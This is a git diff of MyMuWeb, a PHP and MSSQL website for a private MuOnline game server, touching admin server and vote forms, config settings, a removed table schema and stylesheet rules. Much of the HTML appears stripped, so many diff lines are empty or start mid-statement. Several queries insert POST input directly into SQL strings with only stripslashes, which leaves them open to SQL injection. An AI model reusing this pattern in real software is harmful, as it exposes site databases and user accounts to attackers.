-
+
+
+
+
+
+
if(isset($_POST["server_name_edit"])) {
$srv_edit= stripslashes($_POST['server_name_edit']);
$result_edit_server = mssql_query("SELECT Name,experience,drops,gsport,ip,version,display_order,type from MMW_servers where name='$srv_edit'");
$edit_server = mssql_fetch_row($result_edit_server);
-
-echo '
-
- Edit Server
-
-
-';}
-else{
-echo '
-
- Add New Server
-
- ';
-}
?>
-
-
-
-
-
-
-
-
-
-
+ Edit Server
+
+}else{?>
+ Add Server
+
+
+}?>
+
+
+
+
+
+ Server List
+
+
+
+
diff --git a/admin/sqlquery.php b/admin/sqlquery.php
index daec609..451c034 100644
--- a/admin/sqlquery.php
+++ b/admin/sqlquery.php
@@ -6,24 +6,26 @@
echo $query_result;
?>
-
-
-
-
- SQL Query
-
-
-
-
+
+
+
+
+ SQL Query
+
+
+
+
+
+
-
\ No newline at end of file
+
+
+
\ No newline at end of file
diff --git a/admin/votes.php b/admin/votes.php
index 1c7e925..1b262f1 100644
--- a/admin/votes.php
+++ b/admin/votes.php
@@ -1,107 +1,103 @@
-
+
-
-
-
+
+
+
+
+
+
if(isset($_POST["edit"])) {
-$edit = stripslashes($_POST['edit']);
+$edit = clean_var(stripslashes($_POST['edit']));
$edit_result = mssql_query("SELECT ID,question,answer1,answer2,answer3,answer4,answer5,answer6 FROM MMW_votemain WHERE ID='$edit'");
$edit_row = mssql_fetch_row($edit_result);
-
-echo '
-
- Edit Vote
-
-
-
-
-';}
-else{
-echo '
-
- Add New Vote
-
-
-
- ';
-}
?>
-
-
-
-
-
-
-
-
-
-
+ Edit Vote
+
+
+
+}else{?>
+ Add Vote
+
+
+
+}?>
+
+
+
+
+
+
+ Server List
+
+
+
+
diff --git a/class.php b/class.php
new file mode 100644
index 0000000..cf64607
--- /dev/null
+++ b/class.php
@@ -0,0 +1,29 @@
+
\ No newline at end of file
diff --git a/config.php b/config.php
index 3d2834c..f3db352 100644
--- a/config.php
+++ b/config.php
@@ -1,50 +1,54 @@
Result: ';$sql_die_end = '
';
-if($mmw[dbuser]=='Login' || $mmw[database]=='DataBase' || $mmw[dbhost]=='IP Address' || $mmw[dbpass]=='Password') {die("$sql_die_start Please Check config.php! $sql_die_end");}
-$connect_mssql = @mssql_connect($mmw[dbhost],$mmw[dbuser],$mmw[dbpass]) or die("$sql_die_start MSSQL server is offline OR I can't Access to it! $sql_die_end");
-@mssql_select_db($mmw[database], $connect_mssql) or die("$sql_die_start Database don't exists OR I can't Access to it! $sql_die_end");
+$sql_die_start = 'MMW Result: ';$sql_die_end = '
';
+if($mmw[sqlpass]=='Password' || $mmw[sqluser]=='Login' || $mmw[database]=='DataBase' || $mmw[sqlhost]=='IP Address') {die("$sql_die_start Please Check config.php! $sql_die_end");}
+$mssql_connect = @mssql_connect($mmw[sqlhost],$mmw[sqluser],$mmw[sqlpass]) or die("$sql_die_start MSSQL server is offline OR I can't Access to it! $sql_die_end");
+@mssql_select_db($mmw[database], $mssql_connect) or die("$sql_die_start Database don't exists OR I can't Access to it! $sql_die_end");
// MyMuWeb Config
-$mmw[md5] = 'no'; // no(OFF) or yes(ON)
-$mmw[webtitle] = 'MuOnline MMORPG Server'; // Web Title
-$mmw[servername] = 'MuOnline Server'; // Server Name
+$mmw[theme] = 'default'; // Name Of Folder in 'Themes/'
+$mmw[language] = 'English'; // Default Language in Web
+$mmw[webtitle] = 'Name MuOnline Server'; // Web Title
+$mmw[servername] = 'Name MuOnline'; // Server Name
$mmw[serverwebsite] = 'http://localhost/'; // WebSite
-$mmw[max_stats] = '64000'; // Max Stats In Game
-$mmw[pkmoney] = '1000000'; // Zen for Pk Clean (Min 1kk)
-$mmw[move_zen] = '1000000'; // Zen for move (Min 1kk)
-$mmw[gm] = 'yes'; // no(Not Show in TOP) or yes(Show in TOP)
+$mmw[max_stats] = '32767'; // Max Stats In Game
+$mmw[free_hex] = '32'; // 20(Season 0~2) or 32(Season 3~4) or Other(WareHouse.Items.Length / 120 * 2)
+$mmw[pkmoney] = '10000000'; // Zen for Pk Clean (Min 1kk)
+$mmw[move_zen] = '10000000'; // Zen for move (Min 1kk)
+$mmw[switch_change_class] = 'yes'; // yes(All Can Change Class) no(Options Off).
+$mmw[gm] = 'no'; // no(Not Show in TOP) or yes(Show in TOP)
$mmw[gm_guild] = 'GM Guild'; // GM guild name (Don't Show)
-$mmw[max_post_news] = '5'; // Max News in 1 Page
-$mmw[long_news_txt] = '160'; // Long News Text
+$mmw[max_post_news] = '6'; // Max News in 1 Page
+$mmw[long_news_txt] = '160'; // Long News Text, if 0 this options off
$mmw[last_in_forum] = '5'; // Max Topic in Block "Last in Forum"
-$mmw[max_post_forum] = '50'; // Max Topic in Forum
+$mmw[max_post_forum] = '100'; // Max Topic in Forum
$mmw[comment_time_out] = '60'; // Comment Time Out
$mmw[min_send_zen] = '1000000'; // Minimum Zen for Send to Char (Can 0)
$mmw[service_send_zen] = '1000000'; // Service fee Zen for Send to Char (Can 0)
$mmw[zen_for_acc] = '50000000'; // Zen For New Account (Can 0)
$mmw[switch_ref] = 'yes'; // no(NO Referral) or yes(Referral)
-$mmw[zen_for_ref] = '1000000000'; // Zen For Referral (Min 1kk)
-$mmw[max_char_wh_zen] = '1000000000'; // Max Zen in Character and WareHouse
-$mmw[max_private_message] = '20'; // Max Private Message
+$mmw[zen_for_ref] = '750000000'; // Zen For Referral (Min 1kk)
+$mmw[max_char_wh_zen] = '2000000000'; // Max Zen in Character and WareHouse
+$mmw[max_private_message] = '50'; // Max Private Message
$mmw[max_length_private_message] = '300'; // How many Simbol in Private Message
-$mmw[joinserver_port] = '55970'; // Join Server port for GM Message
-$mmw[mp3_player] = 'yes'; // no(Not Show) or yes(Show) Mp3 Player
-$mmw[language] = 'English'; // Default Language in Web
$mmw[votes_check] = 'ip'; // ip(Only Different IP) or acc(Only Different Account)
+$mmw[mp3_player] = 'yes'; // no(Not Show) or yes(Show) Mp3 Player
+$mmw[popunder] = 'yes'; // no(Not Show) or yes(Show) PopUnder in MyMuWeb
+$mmw[popunder_check] = 'yes'; // If 'yes' and Account Logined, PoUnder OFF.
// Reset System
@@ -54,23 +58,26 @@
$mmw[reset_level_mg] = '400'; // Level For Reset MG,DM
$mmw[reset_level_dl] = '400'; // Level For Reset DL,LE
$mmw[reset_level_sum] = '400'; // Level For Reset Sum,Bsum,Dim
-$mmw[resetslimit] = '500'; // Max Resets (Limit)
-$mmw[resetmoney] = '25000000'; // Zen for Reset (Min 1kk)
-$mmw[reset_system] = 'no'; // yes(Zen*Reset) or no(Default)
+$mmw[reset_limit_level] = '999'; // Max Reset (Limit)
+$mmw[reset_limit_price] = '0'; // Limited Price For Reset or 0
+$mmw[reset_money] = '10000000'; // Zen for Reset (Min 1kk)
+$mmw[reset_system] = 'yes'; // yes(Zen*Reset) or no(Default)
$mmw[resetpoints] = '0'; // Reset Points
$mmw[resetmode] = 'keep'; // reset(Points = 25) or keep(Default)
$mmw[levelupmode] = 'normal'; // extra(ResetPoints*Reset) or normal(Points+ResetPoints)
+$mmw[check_inventory] = 'no'; // no(NO Check) or yes(Check)
$mmw[clean_inventory] = 'no'; // no(NO Clean) or yes(Clean)
$mmw[clean_skills] = 'no'; // no(NO Clean) or yes(Clean)
+$mmw[mix_cs_memb_reset] = 'no'; // yes(Reset Zen - Mix CastleSiege Reset Zen) or no(Default)
+$mmw[max_zen_cs_reset] = '100000000'; // Max Zen Need in CastleSiege Bank % For Reset Members Castle Siege (Min 1kk)
+$mmw[num_for_mix_cs_reset] = '10'; // How many '/' Max Zen to create % (Can't 0)
-// Castle Siege
-$mmw[castle_siege] = 'no'; // yes(Isset in Web) no (no in Web)
+// Castle Siege and JoinServer
+$mmw[castle_siege] = 'yes'; // yes(Is set in Web) no (no in Web)
$mmw[gs_cs_ip] = '127.0.0.1'; // Castle Siege IP
$mmw[gs_cs_port] = '55901'; // Castle Siege port
-$mmw[mix_cs_memb_reset] = 'no'; // yes(Reset Zen - Mix Cs Reset Zen) or no(Default)
-$mmw[num_for_mix_cs_reset] = '10'; // How many '/' Max Zen to create % (Can't 0)
-$mmw[max_zen_cs_reset] = '100000000'; // Max Zen Need in Castle % For Reset Members Castle Siege (Min 1kk)
+$mmw[joinserver_port] = '55970'; // Join Server port for GM Message
// Admin Panel & Level (3 - GM, 6 - Mini Admin, 9 - Admin)
@@ -85,20 +92,19 @@
$mmw[image_can_delete] = '3'; // Image Can Delete with this level
-// Code
+// Engine MyMuWeb. Don't Edit Please!
+$mmw[version] = '0.5';
+if(isset($_SESSION[theme]))
+ {$mmw[theme] = $_SESSION[theme];}
+if(is_file("themes/$mmw[theme]/info.php")) {
+ $mmw[theme_dir] = "themes/$mmw[theme]";
+ $mmw[theme_img] = "themes/$mmw[theme]/img";
+ include("$mmw[theme_dir]/info.php");
+}
+else {
+ unset($_SESSION[theme]);
+ die("$sql_die_start ErroR Theme! Cant find $mmw[theme]/info.php in themes/ ! $sql_die_end");
+}
$alpha_num = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$mmw[rand_id] = substr(str_shuffle($alpha_num), 0, 8);
-
-
-// Row Br || Okey || Die(Error)
-$rowbr = "
";
-
-$warning_green = "/!\ ";
-$warning_red = "/!\ ";
-
-$okey_start = "$warning_green ";
-$okey_end = "
";
-
-$die_start = "$warning_red ";
-$die_end = "
";
?>
\ No newline at end of file
diff --git a/db_mmw.sql b/db_mmw.sql
deleted file mode 100644
index 2542f9a..0000000
--- a/db_mmw.sql
+++ /dev/null
@@ -1,120 +0,0 @@
-if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_comment]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
-drop table [dbo].[MMW_comment]
-
-
-CREATE TABLE [dbo].[MMW_comment] (
- [c_id] [int] IDENTITY (1, 1) NOT NULL ,
- [c_id_blog] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
- [c_id_code] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
- [c_char] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
- [c_text] [text] COLLATE Chinese_PRC_CI_AS NULL ,
- [c_date] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL
-) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
-
-
-
-
-
-if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_forum]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
-drop table [dbo].[MMW_forum]
-
-
-CREATE TABLE [dbo].[MMW_forum] (
- [f_id] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
- [f_char] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
- [f_title] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
- [f_text] [text] COLLATE Chinese_PRC_CI_AS NULL ,
- [f_date] [int] NULL ,
- [f_lostchar] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
- [f_status] [int] NULL
-) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
-
-
-
-
-
-if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_links]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
-drop table [dbo].[MMW_links]
-
-
-CREATE TABLE [dbo].[MMW_links] (
- [link_name] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
- [link_address] [text] COLLATE Chinese_PRC_CI_AS NULL ,
- [link_description] [text] COLLATE Chinese_PRC_CI_AS NULL ,
- [link_id] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
- [link_date] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL
-) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
-
-
-
-
-
-if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_news]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
-drop table [dbo].[MMW_news]
-
-
-CREATE TABLE [dbo].[MMW_news] (
- [news_id] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
- [news_title] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
- [news_category] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
- [news_eng] [text] COLLATE Chinese_PRC_CI_AS NULL ,
- [news_rus] [text] COLLATE Chinese_PRC_CI_AS NULL ,
- [news_autor] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
- [news_date] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL
-) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
-
-
-
-
-
-
-if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_servers]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
-drop table [dbo].[MMW_servers]
-
-
-CREATE TABLE [dbo].[MMW_servers] (
- [name] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
- [experience] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
- [drops] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
- [gsport] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
- [ip] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
- [display_order] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
- [version] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
- [type] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL
-) ON [PRIMARY]
-
-
-
-
-
-
-if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_votemain]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
-drop table [dbo].[MMW_votemain]
-
-
-CREATE TABLE [dbo].[MMW_votemain] (
- [ID] [int] IDENTITY (1, 1) NOT NULL ,
- [question] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,
- [answer1] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
- [answer2] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
- [answer3] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
- [answer4] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
- [answer5] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
- [answer6] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
- [add_date] [nvarchar] (11) COLLATE Chinese_PRC_CI_AS NULL
-) ON [PRIMARY]
-
-
-
-
-
-
-if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_voterow]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
-drop table [dbo].[MMW_voterow]
-
-
-CREATE TABLE [dbo].[MMW_voterow] (
- [ID_vote] [int] NULL ,
- [who] [nvarchar] (15) COLLATE Chinese_PRC_CI_AS NULL ,
- [answer] [int] NULL
-) ON [PRIMARY]
diff --git a/decode.php b/decode.php
index 7b31f57..42ba4d9 100644
--- a/decode.php
+++ b/decode.php
@@ -1,13 +1,17 @@
/!\ ErroR #$_GET[go] ! by Vaflan ");
-?>
\ No newline at end of file
diff --git a/gallery/wallpaper-3.dat b/gallery/wallpaper-3.dat
index 72d1d5a..b557fb9 100644
--- a/gallery/wallpaper-3.dat
+++ b/gallery/wallpaper-3.dat
@@ -7,5 +7,5 @@ $comment = 'This Wallpaper for RedAngel Fun User.';
$date = '123456761';
$width = '1024';
$height = '768';
-$size = '353595';
+$size = '320425';
?>
\ No newline at end of file
diff --git a/gallery/wallpaper-3.jpg b/gallery/wallpaper-3.jpg
index 6061166..f1b1b29 100644
Binary files a/gallery/wallpaper-3.jpg and b/gallery/wallpaper-3.jpg differ
diff --git a/images/admin.css b/images/admin.css
index 7ffc9c4..67d84a6 100644
--- a/images/admin.css
+++ b/images/admin.css
@@ -1,826 +1,26 @@
- A:link {
- font-size : 13px;
- color : #000000;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- A:visited {
- font-size : 13px;
- color : #000000;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- A:active {
- font-size : 13px;
- color : #000000;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- A:hover {
- font-size : 13px;
- color : #FF0000;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- .link_menu a:link {
- font-size : 13px;
- color : #d9952b;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- .link_menu a:visited {
- font-size : 13px;
- color : #d9952b;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- .link_menu a:active {
- font-size : 13px;
- color : #d9952b;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- .link_menu a:hover {
- font-size : 14px;
- color : #d9952b;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- .text_news {
- font-family : Verdana, Arial, Helvetica, sans-serif;
- font-size : 11px;
- color : #000000;
- }
- .text_statistics {
- font-family : Verdana, Arial, Helvetica, sans-serif;
- font-size : 11px;
- color : #000000;
- }
- .status_online {
- font-family : Verdana, Arial, Helvetica, sans-serif;
- font-size : 12px;
- color : #00ff00;
- }
- .status_offline {
- font-family : Verdana, Arial, Helvetica, sans-serif;
- font-size : 12px;
- color : red;
- }
- .text_administrator {
- font-family : Verdana, Arial, Helvetica, sans-serif;
- font-size : 11px;
- color : #000000;
- }
- .text_normal_white {
- font-family : Verdana, Arial, Helvetica, sans-serif;
- font-size : 11px;
- color : #ffffff;
- }
- .text_normal_white2 {
- font-family : Verdana, Arial, Helvetica, sans-serif;
- font-size : 10px;
- color : #ffffff;
- }
- .text_size_3 {
- font-family : Verdana, Arial, Helvetica, sans-serif;
- font-size : 10px;
- color : #000000;
- }
- .button {
- border : 1px solid #76726e;
- background-color : #5c4641;
- font-family : Verdana, Arial, Helvetica, sans-serif;
- font-size : 10px;
- color : #ffffff;
- padding-left : 1px;
- padding-right : 1px;
- padding-top : 1px;
- padding-bottom : 1px;
- }
- .login_field {
- border : 1px solid #322623;
- background-color : #ffffff;
- font-family : Verdana, Arial, Helvetica, sans-serif;
- font-size : 10px;
- color : #000000;
- padding-left : 0;
- padding-right : 0;
- padding-top : 0;
- padding-bottom : 0;
- }
- .text_login {
- font-family : Verdana, Arial, Helvetica, sans-serif;
- font-size : 12px;
- color : #d9952b;
- }
- .b01 {
- color : #000000;
- margin-top : 2px;
- padding-bottom : 1px;
- margin-bottom : 1px;
- margin-left : 5px;
- margin-right : 0;
- font-size : 12px;
- color : #d9952b;
- }
- .b01 a {
- font-size : 12px;
- color : #d9952b;
- text-decoration : none;
- }
- .b01 a:hover {
- font-size : 12px;
- color : #d9952b;
- }
- .b01 A:visited {
- font-size : 12pt;
- color : #d9952b;
- }
- a.guidetxt1:link {
- color : #b26039;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.guidetxt1:hover {
- color : #ff9600;
- text-decoration : underline;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.guidetxt1:visited {
- color : #b26039;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.guidetxt2:link {
- color : #c2b9ae;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.guidetxt2:hover {
- color : #ff9600;
- text-decoration : underline;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.guidetxt2:visited {
- color : #c2b9ae;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.guidetxt3:link {
- color : #c2b9ae;
- text-decoration : none;
- font-size : 10px;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.guidetxt3:hover {
- color : #ff9600;
- text-decoration : underline;
- font-size : 10px;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.guidetxt3:visited {
- color : #c2b9ae;
- text-decoration : none;
- font-size : 10px;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.news1:link {
- color : #8a2b02;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.news1:hover {
- color : #ff9600;
- text-decoration : underline;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.news1:visited {
- color : #8a2b02;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.action1:link {
- color : #e94700;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.action1:hover {
- color : #ff9600;
- text-decoration : underline;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.action1:visited {
- color : #e94700;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.txt:link {
- color : #553717;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.txt:hover {
- color : #ff9600;
- text-decoration : underline;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.txt:visited {
- color : #553717;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.subtxt:link {
- color : #5d5039;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.subtxt:hover {
- color : #ff9600;
- text-decoration : underline;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.subtxt:visited {
- color : #5d5039;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.marqueetext:link {
- color : #d9c9a7;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.marqueetext:hover {
- color : #ff9600;
- text-decoration : underline;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- a.marqueetext:visited {
- color : #d9c9a7;
- text-decoration : none;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- .tougao {
- color : #c2b9ae;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- font-size : 11px;
- }
- .event_t {
- color : #553717;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- .event_time {
- color : #e94700;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- .marqueedefault {
- color : #d9c9a7;
- font-family : "Tahoma", Verdana, Arial, sans-serif;
- }
- .marqueetext2 {
- text-decoration : none;
- }
- select.selections {
- font-family : "Arial";
- font-size : 12px;
- line-height : 14px;
- color : #f2e5cd;
- text-decoration : none;
- background-color : #494949;
- }
- .subtxttitle {
- text-decoration : none;
- font-size : 14px;
- line-height : 18px;
- }
- .txt_1 {
- text-decoration : none;
- font-size : 12px;
- line-height : 22px;
- }
- .txt_2 {
- text-decoration : none;
- font-size : 12px;
- line-height : 20px;
- }
- .txt_3 {
- text-decoration : none;
- font-size : 12px;
- line-height : 22px;
- }
- .subtxt_1 {
- text-decoration : none;
- text-align : center;
- line-height : 22px;
- font-size : 12px;
- }
- .txt_x {
- text-decoration : none;
- line-height : 22px;
- font-size : 12px;
- }
- legend {
- color : #ff0000;
- background : #ffffff;
- font : 11px tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
- }
- .input {
- border : 1px solid #61401a;
- background-color : #000000;
- font-family : "Arial, Helvetica, sans-serif";
- font-size : 9pt;
- color : #c9925d;
- }
- input, select {
- color : #000000;
- font-size : 9px;
- font-family : Tahoma, Verdana, Arial;
- font-weight : bold;
- }
- p {
- color : #000000;
- font-family : Tahoma, Verdana, Arial;
- margin-top : 0;
- padding-bottom : 0;
- margin-bottom : 0;
- margin-left : 10px;
- margin-right : 10px;
- font-size : 9px;
- }
- p a {
- color : #000000;
- }
- p a:hover {
- color : #294a7b;
- }
- p a:visited {
- color : #000000;
- }
- .menu01 {
- color : #000000;
- margin-top : 1px;
- padding-bottom : 1px;
- margin-bottom : 0;
- margin-left : 10px;
- margin-right : 10px;
- font-size : 9px;
- font-family : Tahoma, Verdana, Arial;
- }
- div.progress {
- font-family : "Courier New", Courier, monospace;
- font-size : 12px;
- font-weight : bold;
- color : #ffffff;
- background-color : #ff0000;
- border : thin dotted #990000;
- }
- .menu01 a {
- color : #000000;
- text-decoration : none;
- }
- .menu01 a:hover {
- color : #555555;
- }
- .menu02 {
- color : #ffffff;
- margin-top : 5px;
- padding-bottom : 5px;
- margin-bottom : 0;
- margin-left : 20px;
- margin-right : 20px;
- font-size : 9px;
- font-family : Tahoma, Verdana, Arial;
- font-weight : bold;
- }
- .menu02 a {
- color : #ffffff;
- text-decoration : none;
- }
- .menu02 a:hover {
- color : #dddddd;
- }
- .bar01 {
- color : #000000;
- margin-top : 1px;
- padding-bottom : 1px;
- margin-bottom : 0;
- margin-left : 5px;
- margin-right : 20px;
- font-size : 18px;
- font-family : Arial, Tahoma, Verdana;
- font-weight : bold;
- }
- .sort-table {
- font : Icon;
- border : 1px solid ThreeDShadow;
- background : Window;
- color : WindowText;
- }
-
- .sort-table thead {
- background : #FFAA55;
- }
- .sort-table td {
- padding : 2px 5px;
- }
- .sort-table thead td {
- border : 1px solid;
- border-color : ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
- cursor : default;
- }
- .sort-table thead td:active {
- border-color : ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
- padding : 3px 4px 1px 6px;
- }
- .sort-table thead td[_sorttype="None"]:active {
- border-color : ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
- padding : 2px 5px;
- }
- .sort-arrow {
- width : 11px;
- height : 11px;
- background-position : center center;
- background-repeat : no-repeat;
- margin : 0 2px;
- }
- .sort-arrow.descending {
- background-image : url("downsimple.png");
- }
- .sort-arrow.ascending {
- background-image : url("upsimple.png");
- }
- div {
- font-size : 10px;
- color : #000000;
- line-height : 15px;
- font-family : Arial, Helvetica, sans-serif;
- }
- IMG {
- display : inline;
- margin-bottom : 0;
- margin-top : 0;
- margin : 0;
- }
- .thead {
- background : #5a4029 url(tcat2.gif) repeat-x top left;
- color : #ffffff;
- font : bold 11px tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
- vertical-align : middle;
- line-height : 15px;
- }
- .thead a:link {
- color : #000000;
- }
- .thead a:visited {
- color : #000000;
- }
- .thead a:hover, .thead a:active {
- color : #ffff00;
- }
- .alt1, .alt1Active{
- LINE-HEIGHT: 16px;
- background: #EEEEEE url(tcat2.gif) repeat-x top left;
- }
- .tborder {
- border-right : 1px solid #5a4029;
- border-top : 1px solid #5a4029;
- border-left : 1px solid #5a4029;
- border-bottom : 1px solid #5a4029;
- }
- .alt2, .alt2Active{
- background: #EEEEDD url(tcat2.gif) repeat-x top left;
- color: #000000;
- }
-
- .alt3, .alt3Active {
- line-height : 17px;
- background : #00aa00 url(tcat2.gif) repeat-x top left;
- color : #ffffff;
- }
- .td1 {
- color : #e1c585;
- }
- .td2 {
- color : #000000;
- }
- IMG {
- border : 0;
- }
- FORM {
- display : inline;
- margin-bottom : 0;
- padding : 0;
- margin-top : 0;
- margin : 0;
- }
- .px {
- padding-top : 0;
- padding-bottom : 0;
- padding-left : 0;
- padding-right : 0;
- margin-top : 2px;
- margin-bottom : 0;
- margin-left : 0;
- margin-right : 0;
- }
- .px5 {
- padding-top : 0;
- padding-bottom : 0;
- padding-left : 0;
- padding-right : 0;
- margin-top : 5px;
- margin-bottom : 0;
- margin-left : 0;
- margin-right : 0;
- }
- .title01 {
- color : #ffffff;
- margin-top : 10px;
- padding-bottom : 10px;
- margin-bottom : 0;
- margin-left : 15px;
- margin-right : 15px;
- font-size : 13px;
- font-family : Tahoma, Verdana, Arial;
- font-weight : bold;
- font-style : italic;
- }
- .title {
- color : #ffffff;
- margin-top : 1px;
- padding-bottom : 1px;
- margin-bottom : 1px;
- margin-left : 37px;
- margin-right : 10px;
- font-size : 10px;
- font-family : Tahoma, Verdana, Arial;
- font-weight : bold;
- }
- .title a {
- color : #ef6d00;
- }
- .title a:hover {
- color : #c25a02;
- }
- .list {
- color : #ffffff;
- margin-top : 3px;
- padding-bottom : 3px;
- margin-bottom : 0;
- margin-left : 10px;
- margin-right : 10px;
- font-size : 9px;
- font-family : Tahoma, Verdana, Arial;
- font-weight : bold;
- }
- .dynamic-tab-pane-control.tab-pane {
- position : relative;
- width : 100%;
- }
- .dynamic-tab-pane-control .tab-row .tab {
- font : Menu;
- cursor : default;
- display : inline;
- margin : 1px -1px 1px 2px;
- float : left;
- padding : 2px 5px 3px;
- background : #ffffff;
- border : 0;
- border-bottom : 0;
- z-index : 1;
- white-space : nowrap;
- position : relative;
- top : 0;
- }
- .dynamic-tab-pane-control .tab-row .tab.selected {
- background : #eeeedd !important;
- border : 1px solid #000000;
- border-bottom : 0;
- z-index : 3;
- padding : 2px 6px 4px;
- margin : 1px -3px -3px 0;
- top : -2px;
- }
- .dynamic-tab-pane-control .tab-row .tab a {
- font : Menu;
- color : WindowText;
- text-decoration : none;
- cursor : default;
- }
- .dynamic-tab-pane-control .tab-row .tab.hover {
- background : #eeeedd;
- }
- .dynamic-tab-pane-control .tab-page {
- clear : both;
- border : 1px solid #000000;
- background : #eeeedd;
- z-index : 2;
- position : relative;
- top : -2px;
- color : WindowText;
- font : Message-Box;
- padding : 10px;
- }
- .dynamic-tab-pane-control .tab-row {
- z-index : 1;
- white-space : nowrap;
- }
-
-a.helpLink {
- color: #D9952B;
- text-decoration: none;
- border-bottom: 1px dashed #CCCCCC;
- cursor: help;
- font-size: 12px;
-}
-
-a.helpLink:hover {
- color: #FFFFFF;
- text-decoration: none;
- border-bottom: 1px dashed #FFFFFF;
-}
-
-.help-tooltip {
- position: absolute;
-
- border: 1px Solid WindowFrame;
- background: Infobackground;
- color: InfoText;
- font: StatusBar;
